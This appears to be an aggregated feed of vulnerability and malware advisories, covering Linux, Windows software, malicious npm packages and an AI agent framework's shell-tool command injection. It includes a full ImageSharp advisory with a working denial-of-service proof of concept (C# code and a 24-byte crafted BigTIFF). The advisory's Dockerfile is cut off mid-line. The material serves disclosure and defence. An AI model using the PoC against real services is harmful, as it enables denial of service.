In the Linux kernel, the following vulnerability has been resolved:
audit: fix exe mark UAF in kill_rules()
kill_rules() removes mixed AUDIT_DIR and AUDIT_EXE rules when an audit
tree is pruned. It drops entry->rule.exe before removing the rule from
the RCU-visible filter lists.
After a rule has been installed with AUDIT_ADD_RULE, which requires
CAP_AUDIT_CONTROL, removing the watched directory can race with another
task that is still evaluating the rule. In that case, fsnotify can free
the executable mark before the reader reaches audit_mark_compare(),
causing a use-after-free.
KASAN reports:
BUG: KASAN: slab-use-after-free in audit_mark_compare+0x8d/0xa0
Unlink the published rules from the RCU-visible lists and retain them
on tree->rules for cleanup. If any rule has an executable mark, wait for
a single RCU grace period before removing the marks and scheduling the
entries for freeing. Otherwise, call_rcu() already provides the required
deferred freeing without a synchronous wait.
QuartzLine, also known as CLOUDHAZE, is malware disguised as a legitimate Windows PDF viewer that contains a backdoor. It has been distributed via malicious advertising campaigns, leveraging AWS S3 buckets for hosting. The malware establishes persistence through scheduled tasks and communicates with command-and-control servers. It operates with user-level privileges, allowing attackers to execute arbitrary Windows commands and deploy additional malware such as the Caira and IronBark remote access trojans. Early activity includes theft of Chrome browser data within one week of infection. The malware is signed with a now-revoked legitimate EV code-signing certificate, appearing as paperline.exe and fielddesk.exe.
CVE-2026-26846 is a critical buffer overflow vulnerability in WEINVEIW CO.,LTD EBPro version 6.10.01.510_20251022. It affects the UtilityManagerEx.exe component and allows a remote attacker to execute arbitrary code without any privileges or user interaction.
CVE-2026-79843 is an out-of-bounds read vulnerability in Hewlett Packard Enterprise's HPE NonStop SQL/MX EXE component. It occurs when a corrupted file is processed under certain conditions, potentially causing information disclosure, process termination, CPU halt, or data corruption. The vulnerability has a CVSS 3.1 base score of 6.5, indicating medium severity. No affected versions or patch information are currently provided.
CVE-2026-110633 is a local privilege escalation vulnerability in Report One's MyReport Updater up to version 2.1.1. It allows low-privileged users to exploit the SYSTEM updater service to install attacker-controlled archives into arbitrary directories. By manipulating UpdaterManager.exe over gRPC, attackers can set malicious parameters to plant a DLL loaded by a system process, thereby gaining SYSTEM privileges.
A potential privilege escalation issue was identified in InstallShield version 2025 R2 and earlier when running compressed Basic MSI setup with Prerequisites from an insecure location. If a local administrator launches a compressed Setup.exe with Prerequisites from an unsecured location, the Prerequisite installers also might load from an unsecured location, potentially leading to privilege escalation.
VulcanRAT207.A is a sophisticated multi-stage malware intrusion chain initiated via a WhatsApp-delivered financial document lure. The malware uses compression and extensive host screening before escalating privileges to SYSTEM level through COM-based techniques and PoolParty Variant 7 injection. It deploys a signed driver to disable security processes, establishes persistence via DLL side-loading with a legitimate Intel-signed executable, and launches a WebSocket-based remote access trojan. The final payload provides extensive surveillance capabilities including shell access, keystroke logging, desktop control, network filtering, and process injection.
ImageMagick on Windows versions through 7.1.2-33 and 6.9.13-58 has an uncontrolled search path vulnerability in the NTGhostscriptEXE() function. This function launches the Ghostscript executable gswin64c.exe by its bare name when Ghostscript is not registered. An attacker can exploit this by placing a malicious gswin64c.exe in the working directory, causing it to be executed with ImageMagick's privileges during conversion of PDF, PostScript, or EPS files.
Before 4.92.0, Docker Desktop for Windows did not verify the signature of a package supplied to Docker Desktop Installer.exe install -package. An attacker able to provide a crafted package and convince a user to approve the Docker-signed UAC prompt could execute attacker-controlled installer actions as LocalSystem.
In late September 2026, seven malicious npm packages impersonating a NebulaAI SDK were deployed to deliver a Windows remote-access trojan (RAT). The RAT uses direct NT and win32k syscalls, avoiding DLL imports, and includes features such as hidden-desktop remote control, camera and microphone monitoring via Kernel Streaming, and persistence through Winlogon Shell. The malware communicates with a command-and-control server at 65.87.7.132 and disguises itself as conhost.exe while employing anti-analysis techniques.
System Informer versions before 4.0.26241.138 contain an incorrect authorization vulnerability in the phsvc helper. This flaw allows local attackers to access privileged APIs by connecting from any Authenticode-signed process. Exploitation involves loading code into a Microsoft-signed host process such as rundll32.exe and invoking PhSvcApiCreateService to execute code with SYSTEM privileges. The vulnerability has a high severity with a CVSS 4.0 score of 8.5.
Improper link resolution and external control of file paths in the administrative command-line operations of hMailServer.exe in Progressive Robot hMailServer 6.3.4 and 6.3.5 allow a local attacker who already runs code as the low-privilege service account to escalate privilege. On Windows, operations run with administrator rights by the installer, DBSetup, the Control Panel or an administrator wrote log entries and crash records into the log folder, created, deleted and changed the permissions of the self-signed certificate and private key in the data folder, and rewrote message files in the data folder, all by path in folders the service account (NT SERVICE\hMailServer, the default for new installations since 6.3.4) can modify, following junctions and mount points; and the store-maintenance operations reached files by names taken from the database, which the service account can write, including names outside the data folder. On Linux, the store-maintenance and object-storage operations run as root followed symbolic links the service account (the packaged hmailserver user, which owns the data folder) planted in it, so a root-run operation read, wrote or removed the link's target as root. A local attacker controlling the service account can thereby gain the administrator's (Windows) or root's (Linux) privileges when such an operation is run.
A phishing campaign exploited legitimate Microsoft Power BI domains to distribute rogue ScreenConnect remote monitoring tools. Attackers sent phishing emails with links redirecting victims to fake reference documents hosted on Power BI infrastructure. Clicking the download link led to attacker-controlled sites that fingerprinted victims' systems before downloading malicious ScreenConnect installers. Multiple ScreenConnect instances were deployed for persistent remote access, with scheduled tasks created to maintain persistence. The campaign used browser fingerprinting and Telegram bots to filter victims and track infections, leveraging trusted Microsoft domains to bypass email security and increase credibility.
patool versions prior to 4.0.6 on Windows contain an OS command injection vulnerability due to improper escaping of cmd.exe metacharacters and embedded double quotes in archive filenames. This allows attackers to craft malicious filenames that can execute arbitrary commands with the privileges of the patool process when single-file formats are run with shell=True.
### Summary
`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.
One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
### Details
[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.
### Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```
### Reproduction
The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count `5000000000`. There are no bytes
for an entry. Run the supplied container under a five-second timeout.
Complete observed output:
```text
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124
```
`timeout` exit code 124 means the decoder had not returned after five seconds.
The control is identical except the entry count is `1`:
```text
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0
```
The control rejects malformed input promptly; it does not time out.
No active exploitation is known.
### Complete PoC files
Program.cs:
```csharp
using SixLabors.ImageSharp;
static class Program
{
// Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
// The count field is controlled by the input.
private static byte[] BuildBigTiff(ulong entryCount)
{
byte[] bytes = new byte[24];
bytes[0] = 0x49; bytes[1] = 0x49; // II
bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic
bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets
BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
return bytes;
}
private static void Main(string[] args)
{
ulong entryCount = ulong.Parse(args[0]);
byte[] bytes = BuildBigTiff(entryCount);
Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
try
{
using var stream = new MemoryStream(bytes);
using Image image = Image.Load(stream);
Console.Error.WriteLine("completed");
}
catch (Exception ex)
{
Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
}
}
}
```
Project file:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >
CVE-2026-105791 is a command injection vulnerability in Microsoft UFO, an open-source automation framework. The flaw exists in the run_shell tool of the CommandLineExecutor component prior to version 3.0.9. It improperly validates only the first token of the bash_command parameter and allows explorer.exe to be used, which on Windows can delegate execution to arbitrary executables or scripts. Exploitation requires a user to run an affected agent workflow and trigger the vulnerable tool call. Successful exploitation can lead to arbitrary code execution with the privileges of the desktop user, potentially allowing access or modification of user files, tokens, and sessions. The issue is fixed in version 3.0.9.